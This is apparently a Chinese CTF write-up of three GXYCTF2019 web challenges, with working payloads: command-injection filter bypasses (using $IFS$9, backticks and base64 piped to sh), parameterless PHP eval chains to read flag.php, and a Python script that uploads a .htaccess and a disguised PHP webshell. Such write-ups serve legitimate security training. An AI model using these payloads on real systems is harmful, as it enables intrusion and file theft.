GXYCTF2019复盘

WEB

0x 01 Ping Ping Ping

  • 解题思路
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
if(isset($_GET['ip'])){
$ip = $_GET['ip'];
if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "<pre>";
print_r($a);
}
?>

这个题目首先过滤了符号,但是过滤不严格,可以使用管道符和;,因此可以使用这两个符号来拼

接命令;其次过滤了空格,可以使用$IFS$9来替代空格;最后过滤了flflag,这个过滤比较严格,具

体的正则是 .f.l.a.*g. ,可以通过 base64 来绕过,或者用变量名拼接绕过。

解法一:利用反引号

1
;cat$IFS$9`ls`

解法二:利用base64绕过

1
2
?ip=127.0.0.1;echo$IFS$9Y2F0IGZsYWcucGhw|base64$IFS$9-d|sh
## 管道符的作用是将上一条命令的输出,作为下一条命令参数

解法三:利用变量拼接

1
?ip=127.0.0.1;a=ag;b=fl;cat$IFS$9$b$a.php

0x 02 禁止套娃

  • 解题思路

    扫描目录,发现.git/文件夹,使用 githack 得到源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>

考的是无参数rce

解法一:

使用 scandir()查看当前目录情况,可以使用 pos(localeconv()); 构造一个 . 出来,用 print_r() 输出,即可得到当前的目录文件情况。

1
?exp=print_r(scandir(pos(localeconv())));

发现存在flag.php位于倒数第二个,用一个array_reverse() 函数将数组翻转,再读取next即可读取到flag文件,最后使用 show_source()可以显示 php 代码,即可拿到flag。

1
?exp=show_source(next(array_reverse(scandir(pos(localeconv())))));

解法二

img

0x 03 BabyUpload

  • 解题思路

    随便上传发现文件后缀ph被拦截, php3、phtml 都不能使,随便搞出来一个404得知是 apache 服务器,可以使用 .htaccess 文件改变文件解析配置,使得服务器可以把jpg当做php解析,从而命令执行;此外,服务器会检查文件内容是否包含 (可以fuzz出来),要使用格式编写php代码。因此,本题上传 .htaccess 文件修改apache的解析,再把一句话木马后缀改为jpg即可

1
2
3
4
5
6
7
8
9
import requests
url = "http://408150eb-1fa1-4377-94e9-63e769e1c586.node3.buuoj.cn/"
session = requests.session()
htaccess = {'uploaded': ('.htaccess', "SetHandler application/x-httpd-php", 'image/jpeg')}
res_hta = session.post(url, files=htaccess)
files = {'uploaded': ('123.jpg', "<script language=\"php\">echo file_get_contents(\"/flag\");</script>", 'image/jpeg')}
res_jpg = session.post(url, files=files)
res_shell = session.post(url + res_jpg.text[-69:-22], data = {'a':'echo file_get_contents(\'/flag\');'})
print(res_shell.text)

其他题目参考https://hwlanxiaojun.github.io/2020/03/20/%E5%AE%89%E6%81%92%E6%9D%AF%E4%B8%A8%E6%96%B0%E6%98%A5%E7%A5%88%E7%A6%8F%E8%B5%9B/